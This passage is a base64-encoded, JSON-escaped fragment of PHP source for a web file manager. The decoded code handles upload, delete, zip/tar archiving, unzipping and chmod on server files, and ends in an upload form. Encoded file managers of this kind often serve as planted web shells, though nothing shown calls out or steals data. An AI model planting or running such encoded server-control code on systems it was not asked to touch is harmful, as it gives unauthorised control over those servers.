iAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyB